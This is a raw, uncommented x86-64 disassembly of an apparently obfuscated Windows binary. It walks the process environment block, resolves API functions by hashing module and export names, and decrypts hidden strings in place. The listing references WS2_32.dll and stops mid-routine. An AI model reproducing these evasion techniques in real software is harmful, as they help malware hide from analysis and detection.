paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140013c90
cmp r8d, 0x17
jge 0x140013dd2
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140013da1
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x58]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140013df0
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b9448]
test r8, r8
jne 0x140013fd9
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x6109908a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140013e9d
psrldq xmm0, 8
mov edx, 0x4863951c
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140013e94
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140013e80
cmp edx, r11d
jne 0x140013fb1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x140013fb1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140013fb1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x4863951c
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140013f17
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140013f00
cmp edx, r10d
je 0x140013f2d
test r8d, r8d
jne 0x140013ee0
jmp 0x140013fb1
xor edi, edi
jmp 0x140013a0c
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140014466
lea rax, [r15 + rdi]
cmp r8, rax
jae 0x140014466
movzx eax, byte [r8]
mov r11d, 0x4863951c
mov r10d, r11d
cmp al, 0x2e
je 0x140013f88
nop dword [rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140013f70
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x140013fad
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140013f94
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140013fc7
cmp qword [rax + 0x30], 0
jne 0x140013e50
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b9448], r8
cmp byte [0x1400a8ef5], 0
mov eax, dword [0x1400a8ef0]
movsd xmm0, qword [str.dGYT_JIs_UZ2A]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400a8ef4]
mov word [rbp + 0x1c], ax
movsd qword [rbp + 0x10], xmm0
je 0x140014151
mov r9d, edi
cmp ebx, 2
jl 0x140014112
movdqa xmm2, xmmword [0x1400aa580]
mov r9d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.dGYT_JIs_UZ2A]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp + 0x14]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x14], xmm2
movsxd rax, r9d
lea r10, [rbp + 0x10]
add r10, rax
nop dword [rax]
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0xe
jl 0x140014120
xor edx, edx
lea rcx, [rbp + 0x10]
call r8
test rax, rax
je 0x140014353
mov eax, dword [0x1400a99f8]
mov r8d, edi
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400a99fc]
mov byte [rbp - 0x7c], al
movups xmm0, xmmword [str.dGYT_JIet_T_3b]
movups xmmword [rsp + 0x70], xmm0
cmp ebx, 2
jl 0x1400142c7
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rsp + 0x74]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400141c0
cmp r8d, 0x15
jge 0x140014311
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1400142e0
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rsp + 0x70]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140014330
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b93d0]
test r8, r8
jne 0x140014511
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x62b5ce37
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400143dd
psrldq xmm0, 8
mov edx, 0xa5e97e33
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400143d4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400143c0
cmp edx, r11d
jne 0x1400144f1
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x1400144f1
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400144f1
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0xa5e97e33
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140014457
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140014440
cmp edx, r10d
je 0x14001446d
test r8d, r8d
jne 0x140014420
jmp 0x1400144f1
xor edi, edi
jmp 0x140013fcc
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x14001450a
lea rax, [rdi + r15]
cmp r8, rax
jae 0x14001450a
movzx eax, byte [r8]
mov r11d, 0xa5e97e33
mov r10d, r11d
cmp al, 0x2e
je 0x1400144c8
nop dword [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400144b0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x1400144ed
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x1400144d4
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140014507
cmp qword [rax + 0x30], 0
jne 0x140014390
xor r8d, r8d
mov qword [0x1400b93d0], r8
mov eax, dword [0x1400a9dd0]
xor edi, edi
movups xmm1, xmmword [str.____gre__a_]
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r9d, edi
mov dword [rbp - 0x70], eax
movzx eax, word [0x1400a9dd4]
mov word [rbp - 0x6c], ax
movups xmm0, xmmword [0x1400a9db0]
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rsp + 0x70], xmm0
cmp ebx, 2
jl 0x140014687
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rsp + 0x74]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r9d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r9d, 0x20
jl 0x140014580
cmp r9d, 0x26
jge 0x1400146d1
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0x26
jl 0x1400146a0
xor edx, edx
lea rcx, [rsp + 0x70]
call r8
test rax, rax
je 0x1400148a1
mov eax, dword [0x1400aa088]
mov r8d, edi
movsd xmm0, qword [str.rZR]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1400aa08c]
mov word [rbp - 0x34], ax
movzx eax, byte [0x1400aa08e]
mov byte [rbp - 0x32], al
movsd qword [rbp - 0x40], xmm0
cmp ebx, 2
jl 0x14001481a
movdqa xmm2, xmmword [0x1400aa580]
mov r8d, 8
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400aa590]
movdqa xmm0, xmm2
mov eax, dword [0x1400aa610]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rZR]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0x40], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400aa5a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
movd xmm1, dword [rbp - 0x3c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x140014830
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x40]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140014880
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b93c8]
test r8, r8
jne 0x140014a59
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x7f342f55
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14001491d
psrldq xmm0, 8
mov edx, 0xeb22e885
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140014914
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140014900
cmp edx, r11d
jne 0x140014a31
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x140014a31
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140014a31
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0xeb22e885
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140014997
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140014980
cmp edx, r10d
je 0x1400149a6
test r8d, r8d
jne 0x140014960
jmp 0x140014a31
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rdi
jbe 0x140014d71
lea rax, [rdi + r15]
cmp r8, rax
jae 0x140014d71
movzx eax, byte [r8]
mov r11d, 0xeb22e885
mov r10d, r11d
cmp al, 0x2e
je 0x140014a08
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400149f0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x140014a2d
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140014a14
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140014a47
cmp qword [rax + 0x30], 0
jne 0x1400148d1
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
mov qword [0x1400b93c8], r8
cmp byte [0x1400a8d0b], 0
movups xmm0, xmmword [str.yT_YoPT_SJS_21_r__G]
mov eax, dword [0x1400a8d08]
mov dword [rbp - 0x30], eax
movups xmmword [rbp - 0x40], xmm0
je 0x140014c02
mov r9d, edi
cmp ebx, 2
jl 0x140014bc7
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rbp - 0x3c]
movdqa xmm5, xmmword [0x1400aa580]
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r9d
lea eax, [r9 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r9d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r9d, 0x10
jl 0x140014ac0
cmp r9d, 0x14
jge 0x140014c02
movsxd rax, r9d
lea r10, [rbp - 0x40]
add r10, rax
mov eax, 0x5397829d
lea r10, [r10 + 1]
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r9b
inc r9d
sub al, cl
add al, 0x34
xor byte [r10 - 1], al
cmp r9d, 0x14
jl 0x140014bd1
xor edx, edx
lea rcx, [rbp - 0x40]
call r8
test rax, rax
je 0x140014df2
movups xmm0, xmmword [str.gLEC_T]
movups xmmword [rbp - 0x40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140014db1
cmp ebx, 2
jl 0x140014d78
movdqa xmm0, xmmword [0x1400aa610]
lea rcx, [rbp - 0x3c]
movdqa xmm5, xmmword [0x1400aa580]
mov edx, edi
movdqa xmm4, xmmword [0x1400aa660]
movdqa xmm6, xmmword [0x1400aa5a0]
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aa5e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x140014c70
jmp 0x140014db1
xor edi, edi
jmp 0x140014a4c
lea r9, [rbp - 0x40]
mov r8d, edi
nop
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140014d80
xorps xmm0, xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x40]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140014dd0
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400209c0
lea rcx, [rsp + 0x50]
call fcn.14000f080
mov r8, qword [0x1400b9510]
test r8, r8
jne 0x140014fa1
mov rax, qword gs:[0x60]
mov r11d, edi
mov r10d, 0x55142d97
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140014e7d
psrldq xmm0, 8
mov edx, 0xceb06053
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140014e74
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140014e60
cmp edx, r11d
jne 0x140014f81
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov edi, ecx
shr r15, 0x20
add rdi, r9
cmp rdi, r9
je 0x140014f81
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140014f81
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0xceb06053
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140014ef7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140014ee0
cmp edx, r10d
je 0x140014f03
test r8d, r8d
jne 0x140014ec0
jmp 0x140014f81
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
